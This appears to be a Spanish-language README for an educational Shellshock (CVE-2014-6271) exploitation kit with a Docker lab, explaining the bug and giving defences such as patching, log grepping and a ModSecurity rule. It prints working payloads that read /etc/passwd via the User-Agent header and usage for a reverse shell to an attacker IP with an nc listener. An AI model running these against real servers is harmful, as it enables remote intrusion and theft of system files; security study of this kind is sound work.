
Recreando Shellshock (CVE-2014-6271) - la vulnerabilidad de bash que puso en peligro millones de servidores. Kit de explotación automatizada + metodología de Burp Suite + laboratorio Docker. Construido para investigación y educación en seguridad. Proyecto de portafolio de seguridad ofensiva.
Kit de explotación automatizada para CVE-2014-6271 (Shellshock)
Un proyecto completo de investigación en seguridad que demuestra la vulnerabilidad Shellshock que afectó a millones de servidores en 2014. Incluye capacidades de escaneo automatizado, explotación y recomendaciones defensivas.
Demo
Shellshock (CVE-2014-6271) es una vulnerabilidad crítica en el shell Bash que permite la ejecución remota de código mediante la manipulación de variables de entorno. Descubierta en 2014 tras haber existido durante 22 años, afectó a millones de sistemas Unix/Linux en todo el mundo.
Cómo funciona:
# Normal: Bash exporta funciones como variables de entorno
my_function='() { echo "hello"; }'
# El error: Bash continúa analizando después de la definición de la función
exploit='() { :;}; echo "PWNED"' # El segundo comando se ejecuta
Los servidores web que usan CGI pasan los encabezados HTTP como variables de entorno a Bash, lo que los hace vulnerables:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clonar y configurar
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Iniciar laboratorio vulnerable
docker-compose up -d
# Ejecutar exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
Escáner automatizado
Herramienta de explotación
Entorno de laboratorio
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


Modificar el encabezado User-Agent:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

El servidor ejecuta tu comando y devuelve la salida.
Cliente (Atacante)
│
│ Solicitud HTTP con User-Agent malicioso
▼
Servidor Web
│
│ Pasa el encabezado como variable de entorno
▼
Script CGI
│
│ Inicia un proceso Bash
▼
Shell Bash
│
│ Analiza la función y ejecuta comandos posteriores
▼
Ejecución de comandos (RCE)
Cuando Bash encuentra una definición de función en una variable de entorno:
() { :;}# Actualizar Bash
sudo apt-get update && sudo apt-get upgrade bash
# Deshabilitar CGI si no es necesario
sudo a2dismod cgi && sudo systemctl restart apache2
# Revisar logs en busca de intentos de explotación
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Ataque Shellshock'"
bash-apocalypse/
├── README.md
├── exploit.sh # Herramienta principal
├── payloads.txt # Payloads de prueba
├── docker-compose.yml # Configuración del laboratorio
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
Solo con fines educativos. Prueba únicamente sistemas que te pertenezcan o para los que tengas permiso explícito. El acceso no autorizado es ilegal.
Construido para entender cómo funcionan las vulnerabilidades y cómo defenderse de ellas. ;)